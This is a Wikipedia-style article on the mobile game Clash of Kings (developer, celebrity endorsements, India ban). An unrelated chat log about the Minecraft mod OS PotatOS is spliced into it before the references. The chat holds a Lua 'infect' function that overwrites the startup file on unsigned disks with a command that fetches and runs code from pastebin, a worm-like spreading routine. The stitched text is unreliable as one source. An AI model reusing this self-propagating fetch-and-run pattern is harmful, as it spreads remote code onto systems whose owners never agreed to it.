Clash of Kings

Clash of Kings (CoK) is a Chinese mobile massively multiplayer online strategy game developed and published by Elex Tech in 2014. The game has been one of the top grossing apps on the App Store (iOS) and Google Play since its release, and has also had a number of high-profile international celebrity endorsements. The game was downloaded more than 65 million times during its first year on the market.[1][2] The game app was banned in India on 28 June 2020.

This article is about the video game. For the George R. R. Martin novel, see A Clash of Kings. For other uses, see Clash of Kings (disambiguation).
Clash of Kings
Developer(s)Elex Tech
Composer(s)Winifred Phillips
Platform(s)iOS, Android
ReleaseJune 14, 2014
Genre(s)Strategy
Mode(s)Multiplayer

Celebrity endorsements

The game's most notable celebrity endorsement is probably Manchester United's star midfielder Bastian Schweinsteiger.[3] Other celebrity endorsements include Korean pop star Hani,[4] Korean actor and actress So Ji-sub and Son Ye-jin,[5] Chinese-American singer Wang Leehom,[6] and Japanese actor Yōsuke Kubozuka.[7]

Ban in India

In June 2020, the Government of India banned Clash of Kings with 58 other Chinese origin apps citing data and privacy issues. The border tensions in 2020 between India and China might have also played a role in the ban.[8][9]

gollark: The signatures are programatically generated from the contents of the file and my private key. PotatOS has the *public* key, so it can verify that the signature was generated from the corresponding private key.
gollark: Um, no, that's not how it works.
gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?

References
  1. Could 'Clash of Kings' be the Next Game of War?.
  2. Clash of Kings hits 65M downloads after a year
  3. Connelly, Tony (12 May 2016). "Manchester United's Schweinsteiger gets medieval in new Clash of Kings ad". The Drum.
  4. "Hani is a sexy gladiator in posters for 'Clash of Kings' game"
  5. Ji "Sub and Son Ye Jin collaborate for the latest Clash Of Kings CF"
  6. "国际手游大厂相中亚洲音乐天王王力宏专业形象 成為台港澳唯一代言人更是台湾首位代言" (in Chinese). Wangleehom.com. Apr 25, 2016.
  7. "The return of KING – the most charismatic bad boy in Ikebukuro"
  8. "India bans 59 Chinese apps including TikTok, Helo, WeChat". The Economic Times. July 3, 2020.
  9. "Full list of 59 Chinese apps banned by Indian govt". ThePrint. June 29, 2020.
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